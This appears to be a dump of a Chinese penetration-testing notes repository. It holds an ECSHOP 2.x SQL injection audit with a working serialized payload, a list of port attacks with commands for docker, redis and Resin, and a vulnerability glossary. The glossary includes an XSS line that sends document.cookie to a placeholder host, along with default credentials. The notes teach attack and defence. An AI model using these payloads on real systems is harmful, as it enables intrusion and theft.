├── Code-audit └── ECSHOP_2.x_SQLi.md ├── PORT ├── README.md └── port.txt ├── README.md └── Vulnerability-list └── Vulnerability-list.md /Code-audit/ECSHOP_2.x_SQLi.md: -------------------------------------------------------------------------------- 1 | 2 | ## Ecshop 2.x 存在SQLi&&RCE 3 | 4 | ## SQli 5 | ### 利用链路: 6 | user.php -> cls_template.php function dispaly -> cls_template.php function insert_mod -> function insert_* 7 | 8 | ### 缺陷代码: 9 | ``` 10 | user.php 11 | num:302 12 | if (empty($back_act)) 13 | { 14 | if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER'])) 15 | { 16 | $back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER']; 17 | } 18 | ··· 19 | } 20 | ··· 21 | $smarty->assign('back_act', $back_act); 22 | $smarty->display('user_passport.dwt'); 23 | } 24 | ``` 25 | 26 | ``` 27 | cls_template.php function dispaly() 28 | ··· 29 | foreach ($k AS $key => $val) 30 | { 31 | if (($key % 2) == 1) 32 | { 33 | $k[$key] = $this->insert_mod($val); 34 | } 35 | } 36 | $out = implode('', $k); 37 | ··· 38 | ``` 39 | ``` 40 | cls_template.php 41 | function insert_mod($name) // 处理动态内容 42 | { 43 | list($fun, $para) = explode('|', $name); 44 | $para = unserialize($para); 45 | $fun = 'insert_' . $fun; 46 | 47 | return $fun($para); 48 | } 49 | ``` 50 | 51 | ### 利用 52 | 53 | ``` 54 | 554fcae493e564ee0dc75bdf2ebf94caads为$_echash给定值 55 | 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;} 56 | $arr['id']带入function insert_ads($arr)中导致SQli 57 | 58 | note:oder by limit .$arr['num'] procedure anaylse mysql < 5.6.6 59 | 60 | ``` 61 | 62 | ### RCE 63 | ### 利用链路 64 | function insert_ads() -> function fetch() ->fcuntion _eval 65 | 66 | -------------------------------------------------------------------------------- /PORT/README.md: -------------------------------------------------------------------------------- 1 | 由于比赛是CTF和linux 实战渗透的结合,比赛的前后整理了关于主机常见端口漏洞。 2 | 3 | ## 21端口 4 | FTP(file Transfer Protocol)文件传输协议 5 | 1.匿名访问——未授权访问 6 | 2.弱密码 7 | 3.配置不当 直接 cd / && dir 8 | 4.FTP使用明文传输技术-嗅探 9 | 10 | ## 22端口 11 | SSH SSH服务基本会出现在我们的linux服务器、网络设备上,而且SSH服务开启后的设置很多都是默认的 12 | 1.弱口令 13 | 2.防火墙SSH后门 14 | 3.28退格 OpenSSL 15 | 16 | ## 23端口 17 | TLENET 18 | 弱口令 19 | 20 | ## 53端口 21 | DNS域传送信息泄露 dig axfr @xx.xx.xx.xx xx.xx.xx.xx 22 | DNS劫持 23 | DNS缓存投毒 24 | DNS欺骗 25 | DNS隧道技术刺穿防火墙 26 | 27 | ## 81端口 28 | ipcam的web端口 29 | 弱口令123端口 30 | NTP(Network Time Protocol)它是用来同步网络中各个计算机的时间的协议。 31 | 1.可以基于NTP的反射和放大攻击 32 | 2.NTP反射型doos攻击 33 | 34 | ## 513端口 35 | rlogin服务 36 | 37 | ## 389端口 38 | LDAP协议 轻量级目录访问协议 39 | 1.注入 40 | 2.未授权访问 41 | 3.弱密码 42 | 43 | ## 443端口 44 | heartbleed心脏出血 45 | 46 | ## 873端口 47 | RSYNC 远程同步功能 48 | 1.匿名访问 49 | 2.弱口令 50 | rsync xxx.xxx.xxx.xxx:: 51 | 52 | ## 1352端口 53 | Louts 54 | 1.弱口令 55 | 2.文件泄露 56 | http://**.**.**.**/names.nsf/ 57 | 58 | ## 1433端口 59 | mssql 60 | 弱口令 61 | 62 | ## 1521端口 63 | ocral 64 | 1.弱口令 65 | 2.溢出 66 | 67 | ## 2375端口 68 | docker remote api 69 | 接口未授权访问 70 | 访问 http://xxx.xxx.xxx.xxx:2375/containers/json 会返回服务器的container列表 71 | docker -H tcp://xxx.xxx.xxx.xxx:2375 images 72 | docker -H tcp://xxx.xxx.xxx.xxx:2375 run -it --entrypoint /bin/bash ubuntu "-h" 73 | 74 | ## 3306端口 75 | mysql 76 | 弱口令 77 | 78 | ## 5000端口 79 | SysBase 80 | 1.弱口令 81 | 2.命令注入 82 | 83 | ## 5432端口 84 | PostgreSQL 85 | 弱口令 86 | 87 | ## 6379端口 88 | redis 89 | 未授权访问利用redis写getshall 90 | redis-cli -h xxx.xxx.xxx.xxx -p 6379 91 | 92 | ## 7001端口 93 | weblogic 94 | 弱口令 http://xxx.xxx.xxx.xxx:7001/console/login/LoginForm.jsp 95 | weblogic/weblogic 96 | 可探测内网 97 | 98 | ## 8080端口 99 | java web中间组件 100 | tomcat 弱口令 http://xxx.xxx.xxx.xxx:8080/manager/html 部署war包 101 | GlassFish 102 | 1.弱口令 103 | 2.任意文件读取 104 | 3.认证绕过 105 | Resin 106 | 1.目录遍历 107 | 2.远程文件读取 108 | http://xxx.xxx.xxx.xxx/%20../web-inf/ 109 | http://xxx.xxx.xxx.xxx:8088/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd 110 | 111 | ## 8089端口 112 | jboss 弱口令admin/admin 部署war包 getshell 113 | http://xxx.xxx.xxx.xxx/jmx-console/ 114 | http://xxx.xxx.xxx.xxx/admin-console/ 115 | 116 | ## 8649端口 117 | ganglia未授权访问 118 | 通过http协议获取相关监控的xml信息 119 | nmap扫描脚本 nmap --script ganglia-info --script-args ganglia-info.timeout=60,ganglia-info.bytes=100000 -p 120 | 121 | ## 9080 9081 9090端口 122 | Websphere 123 | 1.弱口令(console) 124 | 2.任意文件泄露 125 | 3.java反序列化 126 | 可导致XML配置文件泄露http://xxx.xxx.xxx.xxx/ffp/à?/WEB-INF/modules/struts-config-codingShare.xml 127 | 弱口令http://xxx.xxx.xxx.xxx:9080/ibm/console/secure/logon.do 128 | 129 | ## 27017端口 130 | MongoDBB 131 | 弱口令 132 | 未授权访问 133 | -------------------------------------------------------------------------------- /PORT/port.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kevin-sa/Web-Vulnerable/4edd3cabb85fbdb3dc2e4f63806a3a5181784cac/PORT/port.txt -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 博客遗失中,拿来记录..... 2 | 3 | . 4 | :i:v;:i:. 5 | ,ui:,r::rii:. 6 | .:::. ..::,:,i:: 7 | .: .....:Ji:i::,::i 8 | ..,i.::,7::.7,r,i.7i 9 | :.r,:7.: :7::r,.,:. 10 | .:r r.:. L7.:i,..r 11 | :,i ,:. .S::r::.: 12 | , .::7: . ,7i::,:i 13 | . :r.J7:: . ::;X:: r; 14 | :.:vii ;Ji ir 15 | : .J;, . .vrvr 16 | ,ii,rr .::jJri, ri:Y 17 | .: :.vi vv:.:;Yii 18 | .r: i..,.,::.:qr 19 | .,:...,: 7j,:... 20 | .: :.i : ,: , .:: 21 | : 7k, :r: . Bi..r. .: 22 | :. .@M, ii ,: 0B@B@u .. 23 | i i@: ::, .. ,B@B@E . 24 | ,, Z@ .i: :: k@B@U . 25 | :, .B@.:: 5F :B@B .. : 26 | ii. q@@L B@ MBF .:.7. 27 | ::: UBM. i@B, @P , 28 | :,,vr: Li ZB@M LL .:i, , 29 | :.2B@B@@8u. 7@B@. :ZB@B@B8 :. 30 | v@i :B8 uO@MBE SO @: 31 | - [PORT](https://github.com/Kevin-sa/web-penetration/tree/master/PORT)常见端口漏洞 32 | - [Vulnerability-list](https://github.com/Kevin-sa/web-penetration/blob/master/Vulnerability-list/Vulnerability-list.md)常见漏洞列表 33 | -------------------------------------------------------------------------------- /Vulnerability-list/Vulnerability-list.md: -------------------------------------------------------------------------------- 1 | # 新学期的开始,总是需要整理大量的资料。Vulnerability-list,漏洞列表。 2 | - 漏洞整理基于[seebug的漏洞分类](https://www.seebug.org/category/) 3 | 4 | ## HTTP Parameter Pollution(HTTP参数污染)HPP 5 | 描述:https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004) 6 | 原理:与客户端进行交互是,客户端在GET/POST中带有参数,参数以名称——值的形式出现,一般而言不会出现重名的参数,但是在HTTP协议中允许相同的参数出现多次。 7 | 不同的web服务器对相同2个参数的请求解析不一样。 8 | ```sh 9 | PHP / Apache PHP / Zeus IBM Lotus Domino 解析后者 10 | JSP, Servlet / Apache Tomcat Perl(CGI)/Apache 解析前者 11 | Python/Apache ASP.NET / IIS ASP / IIS 解析ALL 12 | ``` 13 | ```sh 14 | 案例: 15 | 缺陷编号: WooYun-2015-120718 16 | 漏洞标题: 京东某站由HTTP parameter pollution导致的XSS跨站(绕过chrome 的filter) 17 | 相关厂商: 京东商城 18 | 漏洞作者: 大物期末不能挂 19 | parameter:courseName http://xue.jd.com/ondemandCourse/queryOndemandCoursePage.action?classifyId=&courseLable=%25E6%258E%25A8%25E5%25B9%25BF&courseName=123&courseName=12%22%3E%3Cscript%3Ealert(1)%3C/script%3E%3Ca%20herf=%22&flag=1 20 | ``` 21 | - 利用方式:1.绕过WAF 2.XSS 3.SQL注入 22 | 23 | ## 后门 24 | 后门主要是指绕过安全控制程序而获取对目标的控制权。个人将其分为web后门、硬件后门、移动程序后门。 25 | - web程序后门一般而言均是hacker在取得网站控制权时为了下次访问而上传的后门脚本,或hacker开启的ssh后门。 26 | - 硬件后门常发现的与路由器、防火墙、PLC (可编程控制器)中。 27 | - ios端和android端,主要实现1.录音和截屏2.上传GPS信息3.增删改查app数据4.读写app的钥匙链5.发送数据到服务器6.利用URL schemes打开其他app或者网页7.安装企业应用 28 | 29 | ## cookie 30 | - cookie基本了解:cookie是某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据;用于保持http会话状态;由服务器或是js脚本写入;保存在用户本地(浏览器),由http头传输;cookie由path(path表示cookie所在的目录,cookie是面向路径的),name,domain(表示cookie面向的域)组成。 31 | - cookie与SOP(同源策略,同源策略的目的是防止某个文档或是脚本从多个不同的源进行装载,“同源”指的是同协议、同域名、同端口):某网站地址为www.xxxxxx.com,我们可以设置cookie的域范围为www.xxxxxxcom,同时又设置window.domain=xxxxxx.com,这样就可以让xxx.xxxxxx.com与www.xxxxx.com同源,于是我们可以通过同源策略可以获取到www.leesec.com的cookie。 32 | - cookie注入:cookie和传统的sql注入原理是一样的都是针对数据库的攻击,只是提交方式和表现方式不同,服务器在获取客户端提交的数据是,没有对以request.cookie(参数)方式提交的数据进行过滤。 33 | - cookie导致xss:cookie参数过滤不完全,导致某些参数可以被加入恶意代码。 34 | - cookie重名替换,cookie对于两个相同name的cookie没有规定谁是有效的,这样也可以导致attacker精确的替换正常的cookie来实现精确的攻击。 35 | - 隐式验证:从第三方web页面发起对当前网站域下的请求,改请求也会带上当前网站的cookie。改缺陷可以导致CSRF攻击。 36 | - 推荐 作者:走马 的 [《cookie之困》]( https://github.com/knownsec/KCon/blob/master/2015/Cookie%20%E4%B9%8B%E5%9B%B0.pdf) 37 | 38 | ## 跨站请求伪造 39 | - CSRF(Cross—Site Request Forgery跨站请求伪造),CSRF被称为“沉睡的巨人”。 40 | - CSRF原理:CSRF攻击可以劫持终端用户在已登陆的web站点执行非本意(恶意)操作。CSRF产生原因:1.开发者不够谨慎,编写的web程序存在漏洞导致被恶意利用;2.因为web浏览器对cookie和HTTP身份验证等会话信息的处理存在一定的缺陷。 41 | - 几种常见的CSRF方式:带有src属性的http标签都可以跨域发起GET请求。 42 | ```sh 43 | 标签属性, 188 | %3Cscript%3Ealert%281%29%3C/script%3E 189 | javascript:alert(documnet.cookie) 190 | ``` 191 | - Xss恶意代码的构造(绕过xss-filter): 192 | 1.利用HTML标签属性值执行XSS;2.对于基于黑白名单的fiter,可以使用tab、空格、回车来绕过限制。3.对标签属性值进行转码。4.利用css进行跨站 193 | ```sh 194 |
195 | 196 | 很多HTML标签都支持javascript:[code]伪协议的形式,协议声明了URL的主体是任意的JavaScript代码,由Javascript的解释器运行。 197 | href= lowsrc= bgsound= background= value= action= 198 | ``` 199 | - Xss利用方式:1.窃取Cookie;2.网络钓鱼;3.信息收集(刺探内网,收集ip地址kport等信息);4.蠕虫; 200 | ```sh 201 | document.location="http://xxx.xxx.xxx.xxx/cookie.asp?cookie="+document.cookie 202 | ``` 203 | - Flash安全导致的Xss问题,flash是一种交互式矢量多媒体技术,Flash支持全局变量y,由次导致一定的安全隐患。Flash有内置的脚本语言ActionScript(是基于javascript的)。利用嵌入Web页面中的Flash进行XSS由allowScriptAccess属性决定,该属性决定Flash是否可以执行脚本代码。 204 | ```sh 205 | 缺陷编号: WooYun-2014-51615 206 | 漏洞标题: 一个可大规模悄无声息窃取淘宝/支付宝账号与密码的漏洞 -(埋雷式攻击附带视频演示) 207 | 相关厂商: 淘宝网 208 | 漏洞作者: gainover 209 | 漏洞类型: XSS 跨站脚本攻击 210 | 正则表达式过滤不完全导致 FLASH XSS Rookit 211 | ``` 212 | - 防御XSS:1.使用XSS-filter;2.过滤用户可控的输入,一切输入都是有害的;3.在输出数据前对潜在威胁的字符进行编码、转义;4.对于web应用使用WAF; 213 | 214 | ## 弱密码(weak password) 215 | - 弱密码:容易被人猜解或是被工具破解的都属于弱密码; 216 | - 常见设备默认密码:1.tomcat http://xxx.xxx.xxx.xxx/manager/html admin/admin,部署war包,可getshell;2.weblogic http://xxx.xxx.xxx.xxx/console/login/LoginForm.jspweblogic/weblogic,探测内网,上传shell;3.Websphere6.x-7x有个问题,只需输入“此用户标识”即可登录Websphere后台获取WebShell;5.一些常见的路由器或是防火墙、视频监控存在 admin/admin或是123456等弱密码。 217 | 218 | ## 拒绝服务(denial of server) 219 | - 攻击者使用一定的方法使目标z服务器无法提供服务。1.目标服务器缓冲区满,不能接受新的请求;2.使用欺骗ip,影响合法用户的连接。DOS(拒绝服务),DDOS(分布式拒绝服务攻击)。 220 | - DDOS:1.网络层攻击:syn-flood(TCP建立连接时三次“握手”的漏洞,使用虚假的SYN报文,占用服务器的协议堆栈,是互联网最主要的DDOS形式)、ACK-Flood、UDP-Flood(发送大量虚假的UDP包,以DNS为主)、ICMP-Flood(ping);2.应用层攻击:CC(向目标d发起大量的真实HTTP请求,消耗大量的并发资源,CC是应用层主要的攻击方式)、DNS-flood(伪造大量的DNS请求)、慢速连接攻击、。 221 | - 攻击方式:1.混合型:TCP、UDP流量,应用层和网络层的混合攻击;2.将SYN的源地址写为目标地址,向真实TCP服务器发送TCP的SYN包,而这些收到SYN包的TCP server为了完成3次握手把SYN|ACK包“应答”给目标地址。3.流量放大型;4.脉冲型;5.链路泛洪:link-flooding attack,以堵塞目标的上一级链路为目的; 222 | - 防御:本质是一种只能缓解不能完全解决的攻击,1.ISP近源清洗;2.云清洗/CDN硬抗;3.DC级近目清洗;4.OS/APP抗cc。 223 | 224 | ## 数据库 225 | - 数据库弱密码、未授权访问; 226 | - mongodb启动时未加 --auth选项,导致无需认证即可连接mongodb数据库。 227 | - JBRCMS多数网站没有改默认数据库位置,导致数据库可被下载 228 | 229 | ## 文件上传 230 | - 网站的上传实现代码没有严格限制用户上传的文件后缀和文件类型,导致允许攻击者通过访问的web目录任意上传文件,并能够将文件传递给解析器,实现了文件任意上传漏洞。文件上传漏洞一直是攻击者获取webshell的重要途径; 231 | - 1.文件s上传时检查不严格;2.文件上传后修改文件名处理不当;3.应用第三方不安全插件; 232 | 233 | ## 远程文件包含(Remote File Inclusion) 234 | - RFI是指服务器利用系统包含函数来包含远程文件,但是由于过滤不严导致可以包含服务器外的远程文件导致安全漏洞。 235 | - 涉及到的危险函数:1.include()、require(),两个函数的区别是当发生错误时的处理方式,icnlude()函数产生一个警告,而requrie则是产生一个致命错误;2.include_once()、requrie_once(),当文件代码被包含后,就不会在进行一次包含处理,在脚本执行期间进行包含并t运行文件。 236 | ```sh 237 | 漏洞代码实例: 238 | 243 | ``` 244 | - 漏洞利用:1.读出本地服务器的敏感文件;2.包含可运行的php木马;3.创建Webshell; 245 | 246 | ## DNS配置不当 247 | - DNF域传送漏洞,DNS服务器配置不当可以导致任意匿名用户可以获取DNS某一域的所有DNS记录,使企业的基础网络和网络构架对外开放,甚至严重的会导致内网被渗透,可以使用nslookup、dig命令检测;DNS域传送防御:可以在服务器的zone、optionsz中对allow-transfer进行设置可以进行服务器同步的设置,可以进行ip、key限制。 248 | ```sh 249 | //检测服务器bind是否受拒绝服务影响 250 | dig @dns.xxx.xxx.com txt version.bind chaos 251 | //是否存在主备服务器 DNS一般x情况下使用UDP协议通信,但是在区域传送是使用TCP协议 252 | nmap -sS -sU -p 53 xxx.xxx.xxx.com 253 | ``` 254 | - DNS放大攻击。 255 | 256 | ## 本地溢出 257 | - 溢出漏洞是计算机的一种可更正性缺陷。 258 | - 程序中的某些或是某个输入函数/参数对所接受数据的边界验证不严密造成的。 259 | - for example:FreeBSD本地内存泄露漏洞,一个漏洞是由于内核向用户态缓冲区复制数据时没有正确地清除原有内容,另一个漏洞是由于向用户缓冲区复制了过多的数据。 260 | 261 | ## 权限提升 262 | - 将低权限、s受限制的用户提升至系统的较高权限用户。 263 | 264 | ## 信息泄露 Information Disclosure 265 | - 泄露的系统信息或者调试信息可以帮助攻击者了解系统和制定攻击计划。信息泄露一般发生在程序使用输出或者日志功能的时候。 266 | 267 | ## 登陆绕过(权限绕过) 268 | - web应用程序开发人员在编写程序代码时,没有正确进行身份验证控制或是过滤不完全,但是非权限攻击者可以绕过验证获取权限。 269 | 270 | ## 目录穿越 Path Traversal 271 | - 目录穿越的目的旨在访问存在在网站根目录外面的文件或目录。通过浏览应用,攻击者可以寻找存储在 Web 服务器上的其他文件的相对路径 272 | 273 | ## 解析错误 274 | - POST 请求常用有2种参数提交方式:Content-Type: application/x-www-form-urlencoded;Content-Type: multipart/form-data;WAF未能正确解析moltipart/form-data请求,将其当作普通的post请求进行处理,导致waf可以绕过(协议绕过)。或是在multipart/form-data请求上传多个文件时,waf可能只检测第一文件,从而导致文件请求靠后的恶意文件上传成功(未解析所有的文件);在multipart/form-data请求文件时,后端容器对文件名的解析有包容性,而waf可能只按照标准来解析导致文件名无法解析导致waf绕过; 275 | - IIS系列:IIS 6.0 1.目录解析:xxx.jpg/xxx.php 2.文件解析:xxx.asp;.jpg ;不会被解析,会被服务器看作xxx.asp;Apache解析漏洞:Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断.比如 sec.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把sec.php.owf.rar解析成php.IIS 7.0/IIS 7.5/ windows系统下上传文件对文件后缀的%20 .进行删除 276 | 277 | ## 越权访问 broken access control 278 | - 越权访问、未授权下载、未授权修改DNS 279 | - 越权访问可以绕过基本的网站防御措施,在获取到数据库或是程序的权限前就可以获取一定的信息。 280 | 281 | ## 路径泄露 Path Disclosure 282 | - 绝对路径:以磁盘以上构成的路径;相对路径:以网站某个页面相对的路径; 283 | - 路径泄露最常见的方式:当web代码发生错误时,会显示错误内容,包括路径。 284 | 285 | ## 代码执行 Code Execution 286 | - 代码执行漏洞是用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。 287 | - PHP中执行函数 eval() assert() system() exec() shellexec() shellcmd()等 288 | 289 | ## 任意密码修改 290 | - 任意密码修改,是web应用程序开发人员身份控制不严格导致API被恶意修改或是逻辑错误(验证码可以枚举、burp抓包response欺骗、验证码直接返回后台未验证)等问题导致的。 291 | - API接口导致密码任意修改 292 | - 逻辑错误 293 | - response欺骗 294 | 295 | ## 远程溢出 296 | - 函数使用错误或是没有对参数长度进行控制导致处理数据时发生错误 297 | - 如:在使用_strncpy函数时长度参数取值,应该以目标缓冲区的作为字符个数参数,而代码中却以源字符串长度为字符个数参数。 298 | 299 | ## 空子节注入 300 | - 空字符注入也叫零字节注入,是通过添加 URL 编码的零字节字符来绕过过滤器的一种攻击方式。 301 | 302 | ## 中间人攻击(man-in-the-middle) 303 | - 中间人攻击(Man-in-the-MiddleAttack,简称“MITM攻击”)是一种“间接”的入侵攻击,这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间,这台计算机就称为“中间人”。 304 | - 如:当软件使用HTTPS通信时没有校验SSl证书是否有效,导致中间人可以使用自签证书截获请求,获取用户信息; 305 | - HSTS(HTTP Strict Transport Security)HTTP严格传输安全,强制浏览器使用TLS协议,并且中断所有证书出新错误的连接。1.在本地将http转换为https 2.当遇到c证书错误时,中断连接。 306 | 307 | ## CRLF注入 308 | - HTTP Header的定义是基于Key:value的结构,而且每一行都有CR/LF进行分割。CR(Carriage Retuen 回车)。LF(Line Feed 换行)。可以注入一些错误的分隔符混淆服务器的过滤,进而绕过服务器的安全限制,实现恶意攻击。 309 | - 如果web程序和应用服务没有对HTTP Header进行合理的检验,攻击者可以任意注入cookie或是html/js恶意代码,HRS表现出的主要形式是跨站,但是HRS比xss要更加危险。 310 | - 防御:禁止用户在任何与响应i相关的输入请求中使用回车和换行(注意:CR/lF的编码形式 url 十进制 十六进制) 311 | ```sh 312 | http://xxx.xxx.xxx.xxx/?text=a%0d%0a 313 | ``` 314 | 315 | ## XML注入 316 | - soap注入(类似于sql注入) 317 | - xpath注入:如果服务器使用XML进行存储数据,使用xpath来调用数据,如果参数过滤不严格,就会造成xpath注入。例子: 318 | ``` 319 | 320 | 321 | 322 | 323 | 324 | xpath查询 325 | string(//Employee[username/text()='abc']/account/text()) 326 | 恶意代码 327 | string(//Employee[username/text()='' or '1' = '1']/account/text()) 328 | ``` 329 | 330 | ## HTTP请求/响应拆分 331 | 332 | --------------------------------------------------------------------------------